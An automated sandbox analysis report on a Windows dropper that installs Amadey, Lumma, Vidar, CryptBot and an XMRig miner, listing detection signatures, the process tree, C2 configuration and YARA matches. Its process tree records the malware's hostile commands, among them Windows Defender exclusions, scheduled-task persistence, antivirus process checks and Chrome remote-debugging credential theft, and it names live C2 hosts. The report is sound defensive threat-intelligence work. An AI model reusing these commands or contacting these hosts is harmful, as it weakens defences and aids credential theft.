Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1579265
MD5:	bce8d1c24aaa492237eef8ab39403025
SHA1:	22080faaa8259eed4723eee0d045890e866b9d8d
SHA256:	a5e65380e98c1f0a3f8552bcd35090f14cfb74973ed39b7b5482d3d42a78e08a
Tags:	Amadeyexeuser-Bitsight
Infos:

Detection

LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Search for Antivirus process

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Cryptbot

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Vidar stealer

Yara detected Xmrig cryptocurrency miner

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

C2 URLs / IPs found in malware configuration

Drops PE files with a suspicious file extension

Drops password protected ZIP file

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found strings related to Crypto-Mining

Hides threads from debuggers

Injects code into the Windows Explorer (explorer.exe)

Leaks process information

Loading BitLocker PowerShell Module

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies the context of a thread in another process (thread injection)

PE file contains section with special chars

PE file has a writeable .text section

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Suspicious powershell command line found

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Uses cmd line tools excessively to alter registry or file data

Uses ping.exe to check the status of other devices and networks

Uses schtasks.exe or at.exe to add and modify task schedules

Writes many files with high entropy

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Enables security privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

PE file overlay found

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Browser Started with Remote Debugging

Sigma detected: Powershell Defender Exclusion

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Schtasks From Env Var Folder

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

file.exe (PID: 6972 cmdline: "C:\Users\user\Desktop\file.exe" MD5: BCE8D1C24AAA492237EEF8AB39403025)

skotes.exe (PID: 4208 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: BCE8D1C24AAA492237EEF8AB39403025)

skotes.exe (PID: 5936 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: BCE8D1C24AAA492237EEF8AB39403025)

skotes.exe (PID: 7668 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: BCE8D1C24AAA492237EEF8AB39403025)

01d781eb0f.exe (PID: 7856 cmdline: "C:\Users\user\AppData\Local\Temp\1019250001\01d781eb0f.exe" MD5: 8EB4F92605E35C57A42B0917C221D65C)

cmd.exe (PID: 7928 cmdline: "C:\Windows\System32\cmd.exe" /c move App App.cmd & App.cmd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7936 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 7976 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 7984 cmdline: findstr /I "opssvc wrsa" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

tasklist.exe (PID: 8032 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 8040 cmdline: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 8076 cmdline: cmd /c md 245347 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

findstr.exe (PID: 8092 cmdline: findstr /V "profiles" Organizing MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 8108 cmdline: cmd /c copy /b ..\Judy + ..\Sheets + ..\Another + ..\Wanting b MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Dry.com (PID: 8124 cmdline: Dry.com b MD5: 62D09F076E6E0240548C2F837536A46A)

chrome.exe (PID: 3520 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7384 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2088 --field-trial-handle=2368,i,6161523696451090084,11731590265442549677,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

choice.exe (PID: 8140 cmdline: choice /d y /t 5 MD5: FCE0E41C87DC4ABBE976998AD26C27E4)

d208a35154.exe (PID: 7136 cmdline: "C:\Users\user\AppData\Local\Temp\1019251001\d208a35154.exe" MD5: 3A425626CBD40345F5B8DDDD6B2B9EFA)

cmd.exe (PID: 6320 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6368 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

mode.com (PID: 1136 cmdline: mode 65,10 MD5: BEA7464830980BF7C0490307DB4FC875)

7z.exe (PID: 7244 cmdline: 7z.exe e file.zip -p24291711423417250691697322505 -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 7124 cmdline: 7z.exe e extracted/file_7.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 744 cmdline: 7z.exe e extracted/file_6.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 5000 cmdline: 7z.exe e extracted/file_5.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 8 cmdline: 7z.exe e extracted/file_4.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 1740 cmdline: 7z.exe e extracted/file_3.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 2516 cmdline: 7z.exe e extracted/file_2.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 6420 cmdline: 7z.exe e extracted/file_1.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

attrib.exe (PID: 2992 cmdline: attrib +H "in.exe" MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

in.exe (PID: 7184 cmdline: "in.exe" MD5: 83D75087C9BF6E4F07C36E550731CCDE)

attrib.exe (PID: 7204 cmdline: attrib +H +S C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

conhost.exe (PID: 7220 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

attrib.exe (PID: 7212 cmdline: attrib +H C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

conhost.exe (PID: 4916 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 4208 cmdline: schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE MD5: 76CD6626DD8834BD4A42E6A565104DC2)

conhost.exe (PID: 4444 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5800 cmdline: powershell ping 127.0.0.1; del in.exe MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 772 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

PING.EXE (PID: 6128 cmdline: "C:\Windows\system32\PING.EXE" 127.0.0.1 MD5: 2F46799D79D22AC72C241EC0322B011D)

8b67fa16f7.exe (PID: 6064 cmdline: "C:\Users\user\AppData\Local\Temp\1019252001\8b67fa16f7.exe" MD5: BC9903CD12A6B359C28E16021909CCB3)

73aaed44cf.exe (PID: 4336 cmdline: "C:\Users\user\AppData\Local\Temp\1019253001\73aaed44cf.exe" MD5: 669ED3665495A4A52029FF680EC8EBA9)

d59846009d.exe (PID: 1340 cmdline: "C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe" MD5: 04F57C6FB2B2CD8DCC4B38E4A93D4366)

conhost.exe (PID: 416 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6188 cmdline: "powershell.exe" Add-MpPreference -ExclusionPath "C:\nmckayer" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 6196 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1992 cmdline: "powershell.exe" Add-MpPreference -ExclusionPath "C:\ProgramData" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 2308 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Intel_PTT_EK_Recertification.exe (PID: 7380 cmdline: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe MD5: 83D75087C9BF6E4F07C36E550731CCDE)

explorer.exe (PID: 7440 cmdline: explorer.exe MD5: 662F4F92FDE3557E86D110526BB578D5)

powershell.exe (PID: 7468 cmdline: powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7472 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

PING.EXE (PID: 6280 cmdline: "C:\Windows\system32\PING.EXE" 127.1.10.1 MD5: 2F46799D79D22AC72C241EC0322B011D)

svchost.exe (PID: 5956 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

Intel_PTT_EK_Recertification.exe (PID: 7248 cmdline: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe MD5: 83D75087C9BF6E4F07C36E550731CCDE)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
CryptBot	A typical infostealer, capable of obtaining credentials for browsers, crypto currency wallets, browser cookies, credit cards, and creates screenshots of the infected system. All stolen data is bundled into a zip-file that is uploaded to the c2.	No Attribution	https://any.run/cybersecurity-blog/cryptbot-infostealer-malware-analysis/ https://asec.ahnlab.com/en/24423/ https://asec.ahnlab.com/en/26052/ https://asec.ahnlab.com/en/31683/ https://asec.ahnlab.com/en/31802/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptbot

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Name	Description	Attribution	Blogpost URLs	Link
xmrig	According to PCrisk, XMRIG is a completely legitimate open-source application that utilizes system CPUs to mine Monero cryptocurrency. Unfortunately, criminals generate revenue by infiltrating this app into systems without users' consent. This deceptive marketing method is called "bundling".In most cases, "bundling" is used to infiltrate several potentially unwanted programs (PUAs) at once. So, there is a high probability that XMRIG Virus came with a number of adware-type applications that deliver intrusive ads and gather sensitive information.	No Attribution	https://gridinsoft.com/xmrig https://www.akamai.com/blog/security-research/2024-php-exploit-cve-one-day-after-disclosure https://www.crowdstrike.com/blog/new-kiss-a-dog-cryptojacking-campaign-targets-docker-and-kubernetes/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xmrig

Malware Configuration

Threatname: LummaC

{"C2 url": ["treehoneyi.click", "sustainskelet.lat", "necklacebudi.lat", "crosshuaht.lat", "grannyejh.lat", "energyaffai.lat", "rapeflowwj.lat", "aspecteirs.lat", "discokeyus.lat"], "Build id": "cygwin--pty"}

Threatname: Vidar

{"C2 url": "https://steamcommunity.com/profiles/76561199809363512", "Botnet": "m0nk3"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Threatname: Cryptbot

{"C2 list": ["home.fivetk5ht.top"]}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Cryptbot	Yara detected Cryptbot	Joe Security
sslproxydump.pcap	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\nmckayer\3477ac361a61484faa59cc92fe88289c.exe	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000011.00000002.3105087259.0000000003E81000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000011.00000002.3105087259.0000000003E81000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000011.00000002.3092456644.000000000115D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000011.00000002.3094195378.0000000001208000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000002.00000002.1757373038.0000000000D01000.00000040.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000011.00000003.2594494843.0000000003B81000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000001.00000003.1716169346.0000000005360000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000002.00000003.1716669492.0000000004BC0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000011.00000003.2595246791.000000000123D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000000.00000003.1687297615.0000000004A20000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000002C.00000002.2636413300.0000000000EF8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000011.00000003.2594848558.0000000003E86000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000033.00000002.3004074654.00000000037C3000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000000.00000002.1728854916.0000000000C51000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000006.00000003.2305342830.0000000005380000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000002C.00000002.2636413300.0000000000F0E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000003C.00000003.2903221399.0000016D2CD50000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000003C.00000003.2903221399.0000016D2CD50000.00000004.00000001.00020000.00000000.sdmp	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x325ac8:$x1: donate.ssl.xmrig.com
0000003C.00000003.2903221399.0000016D2CD50000.00000004.00000001.00020000.00000000.sdmp	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x326778:$s1: %s/%s (Windows NT %lu.%lu 0x32a380:$s3: \\.\WinRing0_ 0x2e3f30:$s4: pool_wallet 0x2de778:$s5: cryptonight 0x2de788:$s5: cryptonight 0x2de798:$s5: cryptonight 0x2de7a8:$s5: cryptonight 0x2de7c0:$s5: cryptonight 0x2de7d0:$s5: cryptonight 0x2de7e0:$s5: cryptonight 0x2de7f8:$s5: cryptonight 0x2de808:$s5: cryptonight 0x2de820:$s5: cryptonight 0x2de838:$s5: cryptonight 0x2de848:$s5: cryptonight 0x2de858:$s5: cryptonight 0x2de868:$s5: cryptonight 0x2de880:$s5: cryptonight 0x2de898:$s5: cryptonight 0x2de8a8:$s5: cryptonight 0x2de8b8:$s5: cryptonight
00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000001.00000002.1756461628.0000000000D01000.00000040.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000002C.00000002.2637448408.000000014040B000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000002C.00000002.2637283491.00000001402DD000.00000002.00000001.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000011.00000003.2594615293.0000000001170000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000002B.00000003.2630489913.000001691FC20000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000002B.00000003.2630489913.000001691FC20000.00000004.00000001.00020000.00000000.sdmp	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x325ac8:$x1: donate.ssl.xmrig.com
0000002B.00000003.2630489913.000001691FC20000.00000004.00000001.00020000.00000000.sdmp	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x326778:$s1: %s/%s (Windows NT %lu.%lu 0x32a380:$s3: \\.\WinRing0_ 0x2e3f30:$s4: pool_wallet 0x2de778:$s5: cryptonight 0x2de788:$s5: cryptonight 0x2de798:$s5: cryptonight 0x2de7a8:$s5: cryptonight 0x2de7c0:$s5: cryptonight 0x2de7d0:$s5: cryptonight 0x2de7e0:$s5: cryptonight 0x2de7f8:$s5: cryptonight 0x2de808:$s5: cryptonight 0x2de820:$s5: cryptonight 0x2de838:$s5: cryptonight 0x2de848:$s5: cryptonight 0x2de858:$s5: cryptonight 0x2de868:$s5: cryptonight 0x2de880:$s5: cryptonight 0x2de898:$s5: cryptonight 0x2de8a8:$s5: cryptonight 0x2de8b8:$s5: cryptonight
Process Memory Space: Dry.com PID: 8124	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: Dry.com PID: 8124	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: Dry.com PID: 8124	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Intel_PTT_EK_Recertification.exe PID: 7380	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: explorer.exe PID: 7440	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: d59846009d.exe PID: 1340	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: d59846009d.exe PID: 1340	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: Intel_PTT_EK_Recertification.exe PID: 7248	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Click to see the 30 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
17.2.Dry.com.3e80000.1.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
6.2.skotes.exe.d00000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0.2.file.exe.c50000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
1.2.skotes.exe.d00000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
2.2.skotes.exe.d00000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
60.3.Intel_PTT_EK_Recertification.exe.16d2cd50000.0.raw.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
60.3.Intel_PTT_EK_Recertification.exe.16d2cd50000.0.raw.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x325ac8:$x1: donate.ssl.xmrig.com
60.3.Intel_PTT_EK_Recertification.exe.16d2cd50000.0.raw.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x326778:$s1: %s/%s (Windows NT %lu.%lu 0x32a380:$s3: \\.\WinRing0_ 0x2e3f30:$s4: pool_wallet 0x2de778:$s5: cryptonight 0x2de788:$s5: cryptonight 0x2de798:$s5: cryptonight 0x2de7a8:$s5: cryptonight 0x2de7c0:$s5: cryptonight 0x2de7d0:$s5: cryptonight 0x2de7e0:$s5: cryptonight 0x2de7f8:$s5: cryptonight 0x2de808:$s5: cryptonight 0x2de820:$s5: cryptonight 0x2de838:$s5: cryptonight 0x2de848:$s5: cryptonight 0x2de858:$s5: cryptonight 0x2de868:$s5: cryptonight 0x2de880:$s5: cryptonight 0x2de898:$s5: cryptonight 0x2de8a8:$s5: cryptonight 0x2de8b8:$s5: cryptonight
43.3.Intel_PTT_EK_Recertification.exe.1691fc20000.0.raw.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
43.3.Intel_PTT_EK_Recertification.exe.1691fc20000.0.raw.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x325ac8:$x1: donate.ssl.xmrig.com
43.3.Intel_PTT_EK_Recertification.exe.1691fc20000.0.raw.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x326778:$s1: %s/%s (Windows NT %lu.%lu 0x32a380:$s3: \\.\WinRing0_ 0x2e3f30:$s4: pool_wallet 0x2de778:$s5: cryptonight 0x2de788:$s5: cryptonight 0x2de798:$s5: cryptonight 0x2de7a8:$s5: cryptonight 0x2de7c0:$s5: cryptonight 0x2de7d0:$s5: cryptonight 0x2de7e0:$s5: cryptonight 0x2de7f8:$s5: cryptonight 0x2de808:$s5: cryptonight 0x2de820:$s5: cryptonight 0x2de838:$s5: cryptonight 0x2de848:$s5: cryptonight 0x2de858:$s5: cryptonight 0x2de868:$s5: cryptonight 0x2de880:$s5: cryptonight 0x2de898:$s5: cryptonight 0x2de8a8:$s5: cryptonight 0x2de8b8:$s5: cryptonight
44.2.explorer.exe.140000000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
44.2.explorer.exe.140000000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x325ac8:$x1: donate.ssl.xmrig.com
44.2.explorer.exe.140000000.0.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x326778:$s1: %s/%s (Windows NT %lu.%lu 0x32a380:$s3: \\.\WinRing0_ 0x2e3f30:$s4: pool_wallet 0x2de778:$s5: cryptonight 0x2de788:$s5: cryptonight 0x2de798:$s5: cryptonight 0x2de7a8:$s5: cryptonight 0x2de7c0:$s5: cryptonight 0x2de7d0:$s5: cryptonight 0x2de7e0:$s5: cryptonight 0x2de7f8:$s5: cryptonight 0x2de808:$s5: cryptonight 0x2de820:$s5: cryptonight 0x2de838:$s5: cryptonight 0x2de848:$s5: cryptonight 0x2de858:$s5: cryptonight 0x2de868:$s5: cryptonight 0x2de880:$s5: cryptonight 0x2de898:$s5: cryptonight 0x2de8a8:$s5: cryptonight 0x2de8b8:$s5: cryptonight
60.3.Intel_PTT_EK_Recertification.exe.16d2cd50000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
60.3.Intel_PTT_EK_Recertification.exe.16d2cd50000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x324cc8:$x1: donate.ssl.xmrig.com
60.3.Intel_PTT_EK_Recertification.exe.16d2cd50000.0.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x325978:$s1: %s/%s (Windows NT %lu.%lu 0x329580:$s3: \\.\WinRing0_ 0x2e3130:$s4: pool_wallet 0x2dd978:$s5: cryptonight 0x2dd988:$s5: cryptonight 0x2dd998:$s5: cryptonight 0x2dd9a8:$s5: cryptonight 0x2dd9c0:$s5: cryptonight 0x2dd9d0:$s5: cryptonight 0x2dd9e0:$s5: cryptonight 0x2dd9f8:$s5: cryptonight 0x2dda08:$s5: cryptonight 0x2dda20:$s5: cryptonight 0x2dda38:$s5: cryptonight 0x2dda48:$s5: cryptonight 0x2dda58:$s5: cryptonight 0x2dda68:$s5: cryptonight 0x2dda80:$s5: cryptonight 0x2dda98:$s5: cryptonight 0x2ddaa8:$s5: cryptonight 0x2ddab8:$s5: cryptonight
43.3.Intel_PTT_EK_Recertification.exe.1691fc20000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
